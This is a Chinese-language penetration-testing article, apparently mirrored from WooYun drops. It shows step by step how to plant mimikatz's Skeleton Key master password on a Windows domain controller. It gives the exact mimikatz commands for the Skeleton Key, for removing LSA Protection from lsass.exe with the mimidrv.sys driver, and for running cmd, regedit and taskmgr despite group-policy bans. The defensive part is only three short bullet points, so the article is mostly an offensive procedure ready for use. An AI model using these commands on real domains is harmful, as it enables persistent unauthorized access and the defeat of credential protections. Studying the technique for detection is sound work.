作者:
三好學生
·
2016/02/29 10:24
0x00 前言
上篇介紹了利用SSP來維持域控許可權,美中不足在於其需要域控重啟才能生效,而在眾多的域滲透方法中,當然存在不需要域控重啟即能生效的方法,所以這次就介紹其中的一個方法——Skeleton Key
![Alt text](https://i.iter01.com/images/c5f0b2f5fd57c0ccb21df740f02d871e1f51aec524cd2ab7130d5a2678ea8a18.jpg)
0x01 簡介
Skeleton Key被安裝在64位的域控伺服器上
支援Windows Server2003—Windows Server2012 R2
能夠讓所有域使用者使用同一個萬能密碼進行登入
現有的所有域使用者使用原密碼仍能繼續登入
重啟後失效
Mimikatz(Version 2.0 alpha,20150107)支援 Skeleton Key
參考程式碼:
https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_misc.c
0x02 實際測試
測試環境
域控:Server 2008 R2 x64
域內主機: Win7 x64
1、域內主機使用正確密碼登入域控
使用者名稱:[email protected]
密碼:12345678!Q
cmd命令:
#!bash
net use \\WIN-8VVLRPIAJB0.test.local 12345678!Q /user:[email protected]
dir \\WIN-8VVLRPIAJB0.test.local\c$
如圖 ![Alt text](https://i.iter01.com/images/96c6648865eb4f447895df1daeb2fe315905c48da3eb6f47dd9f04b1015d540f.jpg)
2、在域控安裝Skeleton Key
mimikatz命令:
#!bash
privilege::debug
misc::skeleton
如圖 ![Alt text](https://i.iter01.com/images/119abd332c9967d4c604196afc3e688290a17dba1be75f5f0b73aae6555ee930.jpg)
注:
64系統需要使用64位的mimikatz
3、域內主機使用Skeleton Key登入域控
(1)清除net use連線
cmd命令:
#!bash
net use */del /y
如圖 ![Alt text](https://i.iter01.com/images/276093f59a8b049dc1db8df528349355d09177515483d7036e1430072b2a3cd4.jpg)
(2)使用Skeleton Key登入
mimikatz的預設Skeleton Key設定為mimikatz
cmd命令:
#!bash
net use \\WIN-8VVLRPIAJB0.test.local mimikatz /user:[email protected]
dir \\WIN-8VVLRPIAJB0.test.local\c$
如圖 ![Alt text](https://i.iter01.com/images/9710165eebf2e93857dae66dff15759f93b009a86a18074a2026d9e59e8910a6.jpg)
(3)許可權測試
a、使用域內不存在的使用者+Skeleton Key登入
b、使用域內普通許可權使用者+Skeleton Key登入
如圖 ![Alt text](https://i.iter01.com/images/2705e5d540a3a0281b62efed4c93bcdba90572fa210699c15d52ffe15b7c737e.jpg)
發現使用域內不存在的使用者無法登入
使用域內普通許可權使用者無法訪問域控
結論: Skeleton Key只是給所有賬戶新增了一個萬能密碼,無法修改賬戶的許可權
4、LSA Protection
微軟在2014年3月12日新增了LSA保護策略,用來防止對程式lsass.exe的程式碼注入,這樣一來就無法使用mimikatz對lsass.exe進行注入,相關操作也會失敗。
適用系統:
Windows 8.1
Windows Server 2012 R2
所以接下來換用Windows Server 2012 R2 x64進行測試
(1)配置LSA Protection
登錄檔位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
如圖 ![Alt text](https://i.iter01.com/images/9574c74ac8712d0d17d308f46883b958b11ff5d4903c229acdcf255ef0e0f30d.jpg)
新建-DWORD
值,名稱為RunAsPPL
,數值為00000001
如圖 ![Alt text](https://i.iter01.com/images/b4443892344a5edca13ecb701cd28325008624825832db6db84642187c6ee4fe.jpg)
重啟系統
(2)測試Skeleton Key
mimikatz命令:
#!bash
privilege::debug
misc::skeleton
此時失敗 ![Alt text](https://i.iter01.com/images/4c066694d2d628919bbd1cecefc4f7539c0564a99cab0592fc91e7e15f2c3d96.jpg)
(3)繞過LSA Protection
mimikatz早在2013年10月就已支援繞過LSA Protection
如圖 ![Alt text](https://i.iter01.com/images/fbe200a7a3a417824278e7995fd5e1957a44c0063dc19dd99dabfc89b00d77fb.jpg)
參考原始碼:
https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.c
注:
該功能需要mimidrv.sys檔案
![Alt text](https://i.iter01.com/images/1d06d93dd06c3f96899cdb92c700cf38172abc43afa90268bcdbca1e51213085.jpg)
mimikatz命令:
#!bash
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
如圖,匯入驅動檔案mimidrv.sys後,繞過LSA Protection,操作成功
![Alt text](https://i.iter01.com/images/d0bf3be5a14220e0812dda4303f766ed9a9066e0dd10c6d24117221c470bb679.jpg)
0x03 補充
分享一些常見問題的解決方法,管理員常常會禁用一些重要程式的執行,比如cmd、regedit、taskmgr
1、如何禁用cmd、regedit、taskmgr
輸出gpedit.msc
進入本地組策略編輯器
本地計算機測試-使用者配置-管理模板-系統
如圖 ![Alt text](https://i.iter01.com/images/814c93f62c5a71880326189b767632040fb604d4c16275e87eff6b285bf470a7.jpg)
禁用cmd:
選擇"阻止訪問命令提示符"-啟用 ![Alt text](https://i.iter01.com/images/87b40e910d3b31fd15d336337c2668b2ae68161693fddcd97ccedacc4201a43e.jpg)
禁用regedit:
選擇"阻止訪問登錄檔編輯工具"-啟用 ![Alt text](https://i.iter01.com/images/485b3764077a8b8c3082a4d2d384e40ef99c2165ea8cf4f1fbde505e7054b4ed.jpg)
禁用taskmgr:
選擇"不要執行指定的Windows應用程式"-不允許的應用程式列表-填入taskmgr.exe-啟用 ![Alt text](https://i.iter01.com/images/fbb276e8655622484382b9d3f7eb91b87fc8c042ec91b9ea35761f46f8e40a7a.jpg)
測試:
![Alt text](https://i.iter01.com/images/1df2c90152e355abe1b6950e56d2d959d497c2ef66f17f1b6fe342d31f618a42.jpg)
如圖cmd、regedit、taskmgr均已被禁用
2、繞過
mimikatz命令:
#!bash
privilege::debug
misc::cmd
misc::regedit
misc::taskmgr
如圖,成功執行,繞過限制
![Alt text](https://i.iter01.com/images/4e25f2f0208aedd8492a77699c0e2477ce4e4c7c5f0b01fe962731fc97701343.jpg)
0x04 防禦
- 保護域控許可權
- 檢視域控日誌
- 對照攻擊方法尋找入侵痕跡
0x05 小結
這次不僅測試了Skeleton Key
,還介紹了mimikatz
的一些隱藏功能,而這些功能並未在其官方說明文件中出現。
其實透過研究mimikatz
的原始碼,你會發現還有許多的隱藏功能值得挖掘利用。
還是那句老話,只有瞭解如何攻擊才能更好的防禦,希望本文無論是對滲透攻擊還是防禦,均有幫助。
0x06 參考資料
本文由三好學生原創並首發於烏雲drops,轉載請註明
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!